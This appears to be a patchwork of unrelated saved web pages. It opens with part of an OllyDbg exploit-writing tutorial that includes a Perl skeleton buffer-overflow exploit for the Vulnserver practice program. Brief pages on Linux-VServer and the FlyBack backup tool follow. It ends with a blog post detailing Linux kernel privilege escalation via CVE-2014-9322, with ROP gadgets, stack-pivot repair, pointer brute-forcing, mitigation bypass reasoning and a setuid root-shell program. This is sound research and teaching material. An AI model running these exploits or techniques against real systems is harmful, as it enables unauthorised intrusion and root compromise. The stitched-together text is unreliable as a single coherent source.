Accessing the data in these formats can prove to be very useful when writing
exploits. I often use the binary copy format to feed the data into a script
that checks to see if shellcode sent to a program has been mangled.

**Editing code, memory and registers  
**

One particularly cool feature of OllyDbg allows you to edit the values of
memory, registers and the stack while a program is being debugged. This is
extremely useful when writing exploits or shellcode as it allows you to
quickly tweak data in memory after an exception if you realize you have made a
mistake in any data or shellcode already provided to the application. It also
provides a really quick way of finding opcodes for particular instructions if
you need to add some custom shellcode to an exploit.

To demonstrate how this can work, we will use the following skeleton exploit
code – save as skeletonexploit.pl.

\#\!/usr/bin/perl  
use IO::Socket;  
if \($ARGV\[1\] eq ”\) \{  
die\(“Usage: $0 IP\_ADDRESS PORT\n\n”\);  
\}

$baddata = “TRUN .”; \# sets variable $baddata to “TRUN .”  
$baddata .= “\x90″ x 2006; \# append 2006 \x90 bytes to $baddata  
$baddata .= pack\(‘V1′, 0x625011AF\); \# address of “JMP ESP” instruction from
essfunc, little endian  
$baddata .= “\xcc” x 100; \# append 100 \xcc INT3 breakpoints to $baddata

$socket = IO::Socket::INET->new\( \# setup TCP socket – $socket  
Proto => “tcp”,  
PeerAddr => “$ARGV\[0\]“, \# command line variable 1 – IP Address  
PeerPort => “$ARGV\[1\]” \# command line variable 2 – TCP port  
\) or die “Cannot connect to $ARGV\[0\]:$ARGV\[1\]“;

$socket->recv\($sd, 1024\); \# Receive 1024 bytes data from $socket, store in
$sd  
print “$sd”; \# print $sd variable  
$socket->send\($baddata\); \# send $baddata variable via $socket

This code is essentially the beginnings of an exploit for the vulnerability
associated with the first exception we looked at earlier in this guide. When
use against vulnserver running in the debugger, it should redirect code
execution to the first of 100 “\xCC” characters sent to the program.

Don’t worry about how I wrote this code for the moment, or how the redirection
to the INT3 instruction actually happened, I will cover that in a future
article. For now, just restart Vulnserver in the debugger, use **F9** to start
it running, then run the script as follows:

C:\\\_Work>perl skeletonexploit.pl 127.0.0.1 9999

Your debugger should pause execution, with the disassemble pane showing
something like the below.

<img src='img/Temp2_5750.jpg' />

All those “\xCC” characters we sent to the program using the
skeletonexploit.pl script are shown right there in the debugger, and our
program is actually running them as code. If we wanted to, we could replace
the “\xCC” characters in our skeletonexploit.pl script with code that would
perform some other function, but at the moment what we want to do is use this
opportunity to show how we can edit data directly within the debugger. The
“\xCC” is of course the opcode for an INT3 debugger trap instruction, as
mentioned during the earlier section of this tutorial on assembly, and that is
why the debugger paused when it executed the first of these instructions.

The first code editing method we will try is direct assembling, where we
select an instruction and provide some assembly code to be placed in that
location. If the assembly code we provide takes up more space than the
instruction we selected, additional following instructions will also be
overwritten, and if the final instruction overwritten has leftover bytes
\(e.g. if the final instruction is 4 bytes long but we only need two of those
bytes to complete the instruction we add\), any spare space will be filled
with NOPs if the **Fill with NOP’s** checkbox is left selected.

To try this, double click on the currently selected INT3 instruction \(make
sure you click on the instruction itself, not the address, opcode or comment
columns, as this will have a different effect\). In the Assemble window that
appears, type the following.

ADD EAX, 5

See the following screenshot.

<img src='img/Temp2_5742.jpg' />

Hit the **Assemble** button, and then **Cancel** to get rid of the next
Assemble window that appears. You should now see something like the following
in your disassembler pane. The new instruction is shown in red.

<img src='img/Temp2_5747.jpg' />

If you were curious to know the opcodes that compromise this assembly
instruction, you would now know what they were – “\x83\xC0\x05″ – check the
second column from the left in the disassembler pane. This has even been
separated in the display somewhat, with a space between the “C0″ and the “05″,
which indicates “\x83\xC0″ is the “ADD EAX”, and “\x05″ is the value to add
\(in hex format\). The ability to quickly discover opcodes for given assembly
instructions, so you can use them in your exploits, is one of the ways this
code editing feature benefits us as exploit writers.

Take a note of the value stored in the EAX register, and then hit the **F7**
key to step through execution of this newly added instruction. You should see
then that the value of EAX changes by 5, and the EAX register will be colored
red to indicate that its value has changed during the execution of the last
instruction. See the following screenshot.

<img src='img/Temp2_5770.jpg' />

The second code editing method we will try to use is a direct binary edit of
data in the disassemble pane. This can be a quick way for us to translate
opcode values to their equivalent assembly language instructions, and can also
allow us to modify values of existing instructions.

Let’s try this now. Left click to select the next instruction in the
disassembler pane following the “ADD EAX, 5″ instruction we just added \(this
instruction should have its address highlighted with a black background to
indicate it will be the next instruction executed by the CPU\). The right
click, and from the menu that appears select **Binary** ->**Edit** , or you
can hit **Ctrl-E**.

<img src='img/Temp2_5778.jpg' />

In the Edit code box that appears, replace the existing hex data of “CC” with
“54″, as shown below. From our assembly lesson earlier in this tutorial, we
know that the opcode of “\x54″ translates to a “PUSH ESP” instruction.

<img src='img/Temp2_5781.jpg' />

Hit **OK**. Sure enough a PUSH ESP instruction should appear in our
disassembler pane. Now select the next INT3 instruction, immediately following
the one we just edited, and perform another binary edit, this time replacing
“CC” with “C3″. As we learned earlier, this opcode represents a “RETN”. Hit
**OK**. Your disassembler pane should resemble the following screenshot.

<img src='img/Temp2_5757.jpg' />

Now press **F7** to execute the PUSH ESP instruction. You should notice the
value of ESP will get pushed onto the stack. Now press **F7** again. The RETN
instruction will execute, which will POP the top entry off the stack and
redirect execution to

<img src='img/Temp2_5762.jpg' />

That was all very well and good, but I’m sure you are wondering now why should
you bother with binary editing when direct assembling seems so much easier.
Well there is at least one area in which the use of opcodes is much more
efficient — relative JMPs and CALLs.

Let’s say we want to add code to perform a JMP 8 bytes ahead. If you remember
from our earlier lesson though, JMP instructions were specified using an
absolute address in assembly. To save us from having to calculate the address
8 bytes ahead, we can just directly enter the opcode.

Select the top “INT3″ and the “ADD, EAX, 5″ commands in the disassembler pane,
then right click and select **Binary- >Edit** from the menu. The following
will appear.

<img src='img/Temp2_5759.jpg' />

Edit the hex values in the bottom box to “\xEB\x08\x90\x90″. This is
“\xEB\x08″ for the “JMP 8″, with two NOPs added to the end. See below.

<img src='img/Temp2_5784.jpg' />

Hit **OK**. Your disassembler pane will show as below.

<img src='img/Temp2_5767.jpg' />

OK, it has taken the opcodes we provided and interpreted this as a “JMP SHORT”
and provided an absolute address in memory to jump to – we did not need to
calculate the address ourselves in order to add this code to the debugger.

As well as being useful for relative JMPs and CALLs, we can also use this
ability of OllyDbg to disassemble binary data any time we have a need to find
the assembly equivalent of particular byte values. This can be useful when we
need to find which instructions will bypass character restrictions, in order
to achieve goals like decoding shellcode or forming a NOP slide.

While I have demonstrated the editing of data only in the disassembler pane,
it also works elsewhere in the CPU view, allowing you to edit register values,
flag values, stack values as well as any data you can access from the memory
dump pane. In the memory dump and disassembler panes, you even have the
ability to do binary copies and pastes if the need arises. These features can
really come in handy when you are writing and testing custom shellcode.

One important caveat to mention regarding editing data in the debugger in this
way is that any changes made in this manner do not apply outside the debugging
session. This is useful as supporting functionality when actually creating an
exploit, but cannot be used in the actual finished product.

**Help in calculating relative address differences  
**

If you need to calculate distance for a relative JMP or CALL statement, or
determine the size of an area in memory to see if it’s big enough for
shellcode, you may be able to make use of OllyDbgs relative memory addressing
feature.

Double click on an address entry anywhere in OllyDbg, and the address column
will change from displaying absolute memory addresses to displaying the
relative offset of each entry from the address initially clicked upon.

The screenshot below shows the disassembler pane after I double clicked on the
second address from the top – the one holding the first red NOP instruction.
That particular address was then marked with the “==>” indicator, and the
other addresses are marked with their relative distance from that position.
The entry highlighted in grey is where the top JMP SHORT instruction will land
\(8 bytes from the start of the instruction following the JMP\).

<img src='img/Temp2_5773.jpg' />

This relative addressing trick also works in the memory dump views and the
stack pane. Try it out when you need to calculate memory differences\!

**Plugins  
**

OllyDbg features a plugin architecture that allows third parties to add
functionality to the debugger by providing the necessary code in a dll file
which can be placed in the OllyDbg directory.

There are a number of OllyDbg plugins available for download from the OpenRCE
site at the following URL:
http://www.openrce.org/downloads/browse/OllyDbg\_Plugins

In this section, I will briefly cover the use of one plugin that is
particularly useful when writing SEH exploits – OllySSEH.

This plugin is available from the following link and allows you to easily see
which modules loaded with an application can be used to provide overwrite
addresses when writing an SEH exploit.

http://www.openrce.org/downloads/details/244/OllySSEH

To install the plugin, simply take the OllySSEH.dll file from the
\ollysseh\Project\Release\ directory in the zip file, and copy it to the
OllyDbg main program directory. Then restart OllyDbg.

Once installed, the functionality provided by the plugin can be accessed via
the **Plugins** menu, **SafeSEH** ->**Scan /SafeSEH Modules** option.

<img src='img/Temp2_5786.jpg' />

To use the plugin effectively, you start your target program and use the
**F9** key to allow it to run in the browser. Modules set to load with the
program will be loaded into memory and the debugger, allowing them to be
scanned by the plugin. Once the program is running, use the **Plugins** menu,
**SafeSEH** ->**Scan /SafeSEH Modules** option to scan the modules.

Doing this for vulnserver.exe shows the following output.

<img src='img/Temp2_5743.jpg' />

The entries in red, which have a SEH mode of “/SafeSEH OFF” are most suitable
for use with SEH exploits – any address from these modules can be used as an
SEH overwrite address.

These OllyDbg plugins will not work in Immunity Debugger nor will they work in
OllyDbg version 2. Immunity Debugger has its own Python engine, and a number
of Python based plugin scripts have been provided that allow similar types of
information to be gathered.

You should keep your eye out for other useful OllyDbg plugins, which may help
in your exploitation work.

The OllyDbg program will be useful as we work through future articles
exploiting vulnerabilities in the Vulnserver program.

#### Incoming search terms:

  * ollydbg
  * ollydbg tricks
  * infosec exploit writing course
  * ollydbg search memory
  * ollydbg set breakpoint on open dialog from ressource
  * ollydbg search for sequence of commands
  * ollydbg stepover terminated
  * ollydbg search code
  * ollydbg trics for exploit
  * a complete tutorial to ollydbg

# Linux-VServer

**Created:**| _5/9/2010 1:49:24 PM_  
---|---  
**Updated:**| _5/9/2010 4:37:00 PM_  
**Author:**| __  
**Tags:**| _Linux Hacks virtusalisation Lab-Setup_  
  

# Welcome to Linux-VServer.org

### From Linux-VServer

Jump to: navigation, search

Linux-VServer provides virtualization for GNU/Linux systems. This is
accomplished by kernel level isolation. It allows to run multiple virtual
units at once. Those units are sufficiently isolated to guarantee the required
security, but utilize available resources efficiently, as they run on the same
kernel.

This site contains information relating to the use and development of virtual
servers based on Linux-VServer. This particular virtual server model is
implemented through a combination of "security contexts", segmented routing,
chroot, extended quotas and some other standard tools.

**Note:** If this isn't what you are looking for, maybe Linux Virtual Server
is.

<img src='img/Temp2_4942.png' width='57' height='52' />

We are currently migrating from our old Wiki to MediaWiki, but not all content
has been migrated yet. Take a look at the Wiki Team page for instructions how
to help or look at the old wiki to find the information not migrated yet.

Linux-VServer branch Linux kernel |  2.2 Stable |  2.0 Old Stable |  2.3 Development |  1.2 Ancient Stable |  2.2 + grsecurity Stable + grsecurity   
---|---|---|---|---|---  
2.6.22.19| vs2.2.0.7| | vs2.3.0.34| | vs2.2.0.7-grsec2.1.11  
2.6.21.7| vs2.2.0.4| | | | vs2.2.0.3-grsec2.1.10  
2.6.20.20| vs2.2.0.4| | vs2.3.0.12| |   
2.6.19.7| vs2.2.0.3| | vs2.3.0.12| | vs2.2.0-grsec2.1.10  
2.6.16.52| | vs2.0.3-rc3| | |   
2.6.17.13| | vs2.0.2.1| | | vs2.0.2.1-grsec2.1.9  
2.4.36| | | | vs1.2.12|   
2.4.30| | | | vs1.2.10|   
| ChangeLog| ChangeLog| ChangeLog| ChangeLog| ChangeLog  
###  Experimental Patches

\(note: The experimental patch table is automatically updated every hour from
**http://vserver.13thfloor.at/Experimental/**\)

Linux-VServer branch Linux kernel |  2.3 Experimental |  2.3 + grsecurity Experimental   
---|---|---  
2.6.33.3| vs2.3.0.36.30.4|  
2.6.32.12| vs2.3.0.36.29.4| vs2.3.0.36.29.4-grsec2.1.14-20100503  
2.6.31.13| vs2.3.0.36.28.2| vs2.3.0.36.28.2-grsec2.1.14-20100419  
2.6.30.6| vs2.3.0.36.14-pre8|  
2.6.29.6| vs2.3.0.36.14|  
2.6.29.2| | vs2.3.0.36.12-grsec2.1.14-20090513  
2.6.28.10| vs2.3.0.36.11|  
2.6.27.46| vs2.3.0.36.8|  
2.6.27.15| | vs2.3.0.36.4-grsec2.1.12-20090210  
  

&nbsp;

# FlyBack - Apple's "Time Machine" for Linux

**Created:**| _3/15/2010 10:21:49 PM_  
---|---  
**Updated:**| _3/15/2010 10:22:07 PM_  
**Author:**| __  
**Tags:**| _setup Linux software backup_  
  

# Welcome...

Apple's Time Machine is a great feature in their OS, and Linux has almost all
of the required technology already built in to recreate it. This is a simple
GUI to make it easy to use.

## Download / Install

Installation is very simple provided you're running a modern distribution.

Installation Instructions \(Linux\)

### Updates

There are no formal releases, just whatever is in subversion. From your
install directory, run:`svn update`

## Links

  * Google Code Project Page
  * FAQ
  * Discussion Listserv
  * Report Bugs Here

PS: I am not affiliated with Apple, nor have I even used Time Machine
personally. Please don't sue me.

# Follow-up on Exploiting “BadIRET” vulnerability \(CVE-2014-9322\) : pi3 blog

**Created:**| _7/13/2015 3:37:29 PM_  
---|---  
**Updated:**| _7/13/2015 3:37:29 PM_  
**Author:**| __  
**Tags:**| _Exploit Linux kernel_  
  

# Follow-up on Exploiting “BadIRET” vulnerability \(CVE-2014-9322\)

by pi3

The journey into CVE-2014-9322 is not straightforward but it is worth to spend
some time on it and analyze all available information. I will try my best…

**1\) Introduction – non-technical \(almost\)**

Everything starts from the CVE-2014-9090. This vulnerability was discovered by
Andy Lutomirski which allows you \(quoting MITRE\):

> “The do\_double\_fault function in arch/x86/kernel/traps.c in the Linux
> kernel through 3.17.4 does not properly handle faults associated with the
> Stack Segment \(SS\) segment register, which allows local users to cause a
> denial of service \(panic\) \(…\)”
which essentially may results in local DoS attack. It doesn’t sounds so
critical from the defender’s point of view \(but still it takes attention
especially from the nature of vulnerability point of view\) neither from the
attackers perspective. Mainly because of the potential limited benefits after
successful exploitation.

The “fun” starts after Borislav Petkov asked some questions about
CVE-2014-9090. Andy Lutomirski discovered another vulnerability in the same
functionality which was masked by first one. \(Un\)fortunately this time it
was very serious \(I would say critical\) flaw. Linux kernel does not properly
handle faults associated with the Stack Segment \(SS\) register in the x86
architecture. Quoiting MITRE again:

> “\(…\) allows local users to gain privileges by triggering an IRET
> instruction that leads to access to a GS Base address from the wrong space.”
Does the nature of vulnerability sound familiar?

What about Rafal ‘n3rgal’ Wojtczuk research which ends up receiving
CVE-2012-0217? \(which was directly connected with CVE-2006-0744\).  
Yes… in principals both vulnerabilities gave us same thing – we can force
kernel to be executed under user-controlled GS base address \(via %gs
register\).

For some reasons CVE-2014-9322 didn’t take much attention \(again similarities
to CVE-2006-0744\) until Rafal ‘n3rgal’ Wojtczuk didn’t point it out on 2nd of
February 2015 via publish amazing research on Bromium Labs blog:

http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-
cve-2014-9322-linux-kernel-privilege-escalation/

about how the nature of vulnerability works, how it can be used to achieve
code-exec \(which is not trivial – great research\!\) and using single NULL-
byte write primitive turn into fully weaponized exploit which bypasses SMEP
mitigation \(not SMAP\). Highly recommended to review it in details.

After this publication vulnerability started to get more and more attention
\(especially from the grsecurity twitter account :\)\). Until now \(almost
half a year\) there is not known public real exploit which will fully
implement Rafal’s idea to achieve code-execution. There is only Proof-Of-
Concept available which results in DoS attack \(so the same as results of
CVE-2014-9090 – not very useful\):

https://rdot.org/forum/showthread.php?t=3341

which ends up being here:

https://www.exploit-db.com/exploits/36266/

**2\) More technical part \(based on Fedora 20 - > kernel:
3.11.10-301.fc20.x86\_64\)**

I decided to take a challenge and fully implement Rafal’s idea and end-up
being successed solving some interesting problems during the work. I will
start where Rafal finished his write-up, which means we end up successfully
stack pivoting and executing ROP gadgets \(in his case disabling SMEP in CR4
register and executing ‘real’ shellcode/kernelcode in userland page\).

\*\) Stack pivoting and ROP are being executed in the context of
follow\_link\(\) function which is inlined in path\_openat\(\). The context
flow can be summarized as follow:

[code]

    SyS_open -> SYSC_open -> do_sys_open -> do_filp_open -> path_openat -> follow_link()
[/code]

Inlined function do relative call which in the end redirect transfer to our
code:

[code]

    ...
       0xffffffff811b84ab <+955>:   jmpq   0xffffffff811b81b3 
        
          0xffffffff811b84b0 <+960>: movl $0x4,0x40(%r12) 0xffffffff811b84b9 <+969>: mov 0x30(%r15),%rax 0xffffffff811b84bd <+973>: mov %r15,%rdi 0xffffffff811b84c0 <+976>: mov %r12,%rsi 0xffffffff811b84c3 <+979>: mov 0x20(%rax),%rax 0xffffffff811b84c7 <+983>: callq *0x8(%rax) ^^^^^^^^^^^^^^^^^ 0xffffffff811b84ca <+986>: cmp $0xfffffffffffff000,%rax 0xffffffff811b84d0 <+992>: mov %rax,%r15 0xffffffff811b84d3 <+995>: jbe 0xffffffff811b8532 
         
           0xffffffff811b84d5 <+997>: mov %r12,%rdi 0xffffffff811b84d8 <+1000>: mov %eax,%ebx 0xffffffff811b84da <+1002>: callq 0xffffffff811b2930 
          
            ...
          
         
        
[/code]

After our code has being executed first problems start \(cleaning part\).
Every call to function path\_put\(\), do\_last\(\), dput\(\), mntput\(\) or
put\_link\(\), may ends up playing with kernel locks. Because the stack is
pivoted this will not going to be happy ending. Additionally, path\_openat\(\)
has inline many functionalities, some registers have special meaning
\(pointers to the structures/objects\) which kernel will try to access at some
point at may results in kernel crash and/or panic.  
At the beginning I was trying to track down all problematic execution and
manually fixing it but there is just too many correlation between
registers/objects/spinlocks… \(btw. Linux kernel 3.xx changed internal
representation of raw\_spin\_lock comparing to previous kernels which is
\(un\)fortunately much more problematic when you want manually synchronize
it\).  
There needed to be better solution, and if you think about pivoting itself you
may find one. If you instead of manual fixing all necessary problems force
kernel to do it you may win that game. If you find a way to “restore” original
stack frame for the function before stack pivoting was taken kernel should
naturally remove all locks and correctly unwind the stack and system will be
stable. This can be achieved via let’s call it reverse stack pivoting <img
src='img/Temp2_3245.png' alt=':)' /> Directly after stack pivot, in temporary
register you should have valid address of the stack which you want to know. In
our case situation is a bit more complicate because we are losing 32 most
significant bits of the address. ROP gadget looks like:

[code]

       0xffffffff8119f1ed <__mem_cgroup_try_charge+1949>:   xchg   %eax,%esp
       0xffffffff8119f1ee <__mem_cgroup_try_charge+1950>:   retq
    
[/code]

why this gadget was taken and we lose 32bits \(we want to\)? Please read
Rafal’s write-up  
So if we find some ROP gadget which directly after stack pivoting will save 32
least significant bits of original stack pointer in safe place, we could try
to restore it and reconstruct original address before we gave control to the
kernel. I’ve chosen following ROP-gadget:

[code]

       0xffffffff8152d8fe 
       
        :       push   %rax
       0xffffffff8152d8ff 
        
         : pop %rax 0xffffffff8152d900 
         
          : pop %rbp 0xffffffff8152d901 
          
           : retq 
          
         
        
       
[/code]

which essentially push %rax value \(in fact high bits are zeroed\) and move
stack pointer after stored value. At this point we may precisely calculate
where it will be stored.

Problem solved \(reverse-stack pivot won :P\)

\*\) If your shellcode is going to be executed for too long there is high
chance scheduler will preempt you which sometimes may be critical – depends on
the current stage of execution and what is going to be preempting you. Quite
often you may receive APIC timer interrupt connected with updating process
times \(known as tick’ing\) which may screw you up on some corner cases – it
should be taken into account\!

btw. if you have bad luck you may be preempted as soon as you did stack
pivoting ;p

\*\) Our code is executed while proc\_root structure is corrupted… <img
src='img/Temp2_3245.png' alt=':)' /> This is NOT what we would like to have.
It dramatically increases chance of kernel crash if other process will do any
operation on /proc pseudo-filesystem. proc\_root.subdir value must be restored
as soon as it can be to decrease the chance of random crash. There is few
possible ways of doing it:

a\) instead of overwriting 6 bytes of subdir do only 5 of them which will
leave 3 bytes untouched. This means we can easily reconstruct original value
by adding 0xffff8800 value at the most significant bits \(for that kernel\)
and trying to find only 1 byte which is 256 possibilities. Chance of crash is
very low \(touching not mapped page\). Additionally this requires allocation
in user space around 16 MB to have guarantee that after referencing
overwritten proc\_root.subdir always ends up in our controlled memory.

b\) we can brute force full address by ‘preventing’ from Page Fault \(\#PF\).
For the short period of time we can overwrite \#PF handler with simple code:

– Get the exception from the stack  
– Change the address which caused crash to smth which we know is mapped  
– Restart faulting instruction

original brute force loop will continue running

c\) Ignore all of the problems and just reconstruct address as much as it can
be and do brute force rest of the bytes. Apparently it’s quite reliable and
effective. We know that high significant bytes are 0xffff8800 and we have 2
least significant bytes. We need to find 2 bytes which are unknown for us. On
Linux \(as opposed to Windows\) kernel memory are not being paged out
\(swapped out\). Chance of hitting unmapped page is quite low when we brute
force just 2 bytes in the middle of reconstructed address – believe me or not,
it works well <img src='img/Temp2_3245.png' alt=':)' />

Problem is also how we judge if the address is correct or not. It’s quite
simple, struct proc\_dir\_entry has ‘parent’ field. We must find address which
will have on the specific offset, address of proc\_root \(which is known\). In
the end we check 65536 addresses and chance of FP is low as well. I’ve never
hit that situation.

Summarizing our shellcode must:

– save original stack pointer value  
– disable interrupts \(to prevent from being preempted\) and start to
reconstruct corrupted proc\_root.subdir value  
– do REAL \(s\)hellcode  
– restore original stack pointer  
– restore frame pointer  
– restore registers pointing to the internal objects  
– enable interrupts and return to the normal kernel execution

**3\) Grsecurity = > UDEREF**

As I mentioned Rafal’s research has been “sighted” by spender via:

http://twitter.com/grsecurity/status/562363332079144960  
http://twitter.com/grsecurity/status/562363788125831172

Additionally some people suggests UDEREF is as effective as SMAP with blocking
exploitation of this vulnerability:

http://seclists.org/oss-sec/2014/q4/1052

> “This is likely to be easy to exploit for privilege escalation, except  
>  on systems with SMAP or UDEREF. On those systems, assuming that the  
>  mitigation works correctly, the impact of this bug may be limited to  
>  massive memory corruption and an eventual crash or reboot.”
This is not completely true. UDEREF may be as effective \(in fact even more\)
as SMAP or only as effective as SMEP \(on AMD64\) which will not prevent
exploitation at all \(using described technique\). So what’s going on? <img
src='img/Temp2_3245.png' alt=':)' /> Currently UDEREF for AMD64 has 3
different implementations:

– slow / weak legacy implementation  
– strong implementation on Sandy Bridge and later  
– fast / weak implementation on Sandy Bridge and later

First implementation of UDEREF on AMD64 was “weak” implementation and
information about it was described by PaX team here:

http://grsecurity.net/pipermail/grsecurity/2010-April/001024.html

I will quote the essential part of it:

> “\(…\) so what does UDEREF do on amd64? on userland->kernel transitions it
> basically  
>  unmaps the original userland address range and remaps it at a different
> address  
>  using non-exec/supervisor rights \(so direct code execution as used by most  
>  exploits is not possible at least\). \(…\)”
and next:

> “\(…\) UDEREF/amd64 doesn’t ensure that the \(legitimate\) userland accessor  
>  functions cannot actually access kernel memory when only userland is
> allowed  
>  \(some in-kernel users of certain syscalls can temporarily access kernel
> memory  
>  as userland, and that is enforced on UDEREF/i386 but not on amd64\). so if  
>  there’s a bug where userland can trick the kernel into accessing a userland  
>  pointer that actually points to kernel space, it’ll succeed, unlike on
> i386.
> the other bad thing is the presence of the userland shadow area. this has  
>  two consequences: 1. the userland address space size is smaller under
> UDEREF  
>  \(42 vs. 47 bits, with corresponding reduction of ASLR of course\), 2. this  
>  shadow area is always mapped so kernel code accidentally accessing its
> range  
>  may not oops on it and can be exploited \(such accesses can usually happen
> only  
>  if an exploit can make the kernel dereference arbitrary addresses in which  
>  case the presence of this area is the least of your concerns
> though\).\(…\)”
_== weak UDEREF ==_  
This means it works essentially similar to SMEP. So how to exploit
CVE-2014-9322 under this specific implementation of UDEREF? You just need to
change the ROP. Instead of disabling SMEP bit in CR4 register and execute code
from the user land, implement full shellcode as ROP. It is possible and it
won’t be stop by weak implementation of UDEREF.

_== “new” UDEREF ==_  
Why strong implementation of UDEREF is different and why does it require Sandy
Bridge architecture?  
Yes, that’s the fun part. I haven’t seen any official write-up regarding “new”
UDEREF. I wasn’t even aware about those changed since I was playing with that
exploit <img src='img/Temp2_3245.png' alt=':)' />

Strong implementation of UDEREF using Sandy Bridge++ feature called as PCID to
make ‘tags’ in TLB. By doing it UDEREF may completely separate user land from
kernel \(via creating new PGD tables\):

[code]

    static inline void enter_lazy_tlb(struct mm_struct *mm, struct task_struct *tsk)
    {
    ++#if defined(CONFIG_X86_64) && defined(CONFIG_PAX_MEMORY_UDEREF)
    +     if (!(static_cpu_has(X86_FEATURE_PCID))) {
    +             unsigned int i;+                pgd_t *pgd;
    ++            pax_open_kernel();
    +             pgd = get_cpu_pgd(smp_processor_id(), kernel);
    +             for (i = USER_PGD_PTRS; i < 2 * USER_PGD_PTRS; ++i)
    +                     set_pgd_batched(pgd+i, native_make_pgd(0));
    +             pax_close_kernel();
    +     }
    +#endif
    
    +#if defined(CONFIG_X86_64) && defined(CONFIG_PAX_MEMORY_UDEREF)
    +             if (static_cpu_has(X86_FEATURE_PCID)) {
    +                     if (static_cpu_has(X86_FEATURE_INVPCID)) {
    +                             u64 descriptor[2];
    +                             descriptor[0] = PCID_USER;
    +                             asm volatile(__ASM_INVPCID : : "d"(&descriptor), "a"(INVPCID_SINGLE_CONTEXT) :
    "memory");
    +                             if (!static_cpu_has(X86_FEATURE_STRONGUDEREF)) {
    +                                     descriptor[0] = PCID_KERNEL;
    +                                     asm volatile(__ASM_INVPCID : : "d"(&descriptor),
    "a"(INVPCID_SINGLE_CONTEXT) : "memory");
    +                             }
    +                     } else {
    +                             write_cr3(__pa(get_cpu_pgd(cpu, user)) | PCID_USER);
    +                             if (static_cpu_has(X86_FEATURE_STRONGUDEREF))
    +                                     write_cr3(__pa(get_cpu_pgd(cpu, kernel)) | PCID_KERNEL | PCID_NOFLUSH);
    +                             else
    +                                     write_cr3(__pa(get_cpu_pgd(cpu, kernel)) | PCID_KERNEL);
    +}
    +             } else
    +#endif
    
[/code]

In the end context run in kernel mode will NOT see any usermode pages. This
implementation I personally believe is much stronger than SMAP. Why?

1\. You can't just disable one bit in CR4 register to fully turn off this
mitigation  
2\. In case of SMAP, you can see userland pages \(there is existing Page
Tables translating userland addresses. 'P' bit is set\) but you just can't
touch it. In "new" UDEREF you don't see userland at all \(PGD is completely
different for kernel context and there is no Page Tables describing userland
addresses. 'P' bit is unset\).

This version of UDEREF was firstly introduced on grsecurity version 3.0 in
February 2014. Good work\! Will be nice if PaX/grsecurity may publish some
details of their research and great implementation <img
src='img/Temp2_3245.png' alt=':)' />

Btw. In both cases result of touching userland addresses is the same - \#PF
will be generated <img src='img/Temp2_3245.png' alt=':)' />  
Btw2. The same "strong" UDEREF functionality may be achieved without hardware
PCID feature. The main difference is performance. Without hardware support for
PCID it should be a mess from the performance point of view.

_== Summarizing ==_  
This vulnerability can be exploited under UDEREF and can NOT be exploited
under "new" UDEREF which is enabled on Sandy Bridge++ architecture.

In fact you can still use this vulnerability to fully DoS machine under "new"
UDEREF? How? It's quite funny and tricky, you can force infinitive loop of
\#PF <img src='img/Temp2_3245.png' alt=':)' /> As soon as kernel enters to the
do\_general\_protection\(\) function it will try to read GDT via GS base by
executing following instruction:

[code]

        0xffffffff8172910e 
       
        :       mov    %gs:0xa880,%rbx
       
[/code]

at this situation GS base is pointing to the userland memory. Because there is
no PTE entry for that address \(kernel context doesn't see userland at all\),
\#PF will be generated. page\_fault\(\) function will be executed and
following:

[code]

    page_fault -> do_page_fault -> __do_page_fault -> restore_args
[/code]

it will try to read GDT again and next \#PF will be generated and so on... so
on... so on... <img src='img/Temp2_3245.png' alt=':)' /> So yes, you can still
crash the kernel but there is no way to do anything else because there is no
even room for exploitation. Vulnerability has being stopped at principals.

**4\) Funny facts<img src='img/Temp2_3245.png' alt=':)' />**

a\) Some versions of libthread requires to create memory with RWX permission
when you call pthread\_create\(\) function. This is not allowed under
PaX/grsec hardening of mmap\(\) and as soon as internal implementation
pthread\_create\(\) will call mmap\(\), process will be killed <img
src='img/Temp2_3245.png' alt=':)' /> I met this situation on default
installation of Ubuntu LTS where I was testing kernel with grsecurity
hardening.

b\) on kernel 3.11.10-301.fc20.x86\_64 implementation of \_\_switch\_to\(\)
function using OSXSAVE extension \(bit 18 in CR4 register\) without checking
if CPU has this extension or not:

[code]

         0xffffffff81011714 <__switch_to+644>    xsaveopt64 (%rdi)
[/code]

\_\_switch\_to\(\) is executed under disabled interrupts but if OSXSAVE
extension is not enabled CPU will generate \#UD and it will be deadlock.
Before entering to \_\_switch\_to\(\) instruction regardless disabling
interrupts also there is locked runqueue which will never be unlocked in case
of \#UD.  
I wonder if someone hit this problem in real life <img
src='img/Temp2_3245.png' alt=':)' />

c\) Fedora 20 exploitation is pretty stable \(source code available on my
website\):

[code]

    [pi3@localhost clean_9322]$ cat z_shell.c
    #include 
       
        
    
    int main(void) {
    
       char *p_arg[] = { "/bin/sh", NULL };
    
       setuid(0);
       seteuid(0);
       setgid(0);
       setegid(0);
       execv("/bin/sh",p_arg,NULL);
    
    }
    [pi3@localhost clean_9322]$ gcc z_shell.c -o z_shell
    [pi3@localhost clean_9322]$ cp z_shell /tmp/pi3
    [pi3@localhost clean_9322]$ ls -al /tmp/pi3
    -rwxrwxr-x 1 pi3 pi3 8764 May  6 23:09 /tmp/pi3
    [pi3@localhost clean_9322]$ id
    uid=1000(pi3) gid=1000(pi3) groups=1000(pi3)
    [pi3@localhost clean_9322]$ /tmp/pi3
    sh-4.2$ id
    uid=1000(pi3) gid=1000(pi3) groups=1000(pi3)
    sh-4.2$ exit
    exit
    [pi3@localhost clean_9322]$ gcc -o procrop procrop.c setss.S
    [pi3@localhost clean_9322]$ gcc -o p_write8 swapgs.c setss.S -lpthread
    swapgs.c: In function ‘main’:
    swapgs.c:175:29: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
                   : "r"(4), "r"((int)p_to_d), "r"(1)
                                 ^
    [pi3@localhost clean_9322]$ ./procrop
    
            ...::: -=[ Exploit for CVE-2014-9322 ]=- :::...
                               by Rafal 'n3rgal' Wojtczuk
                               && Adam 'pi3' Zabrocki
    
                    Usage: ./procrop 
        
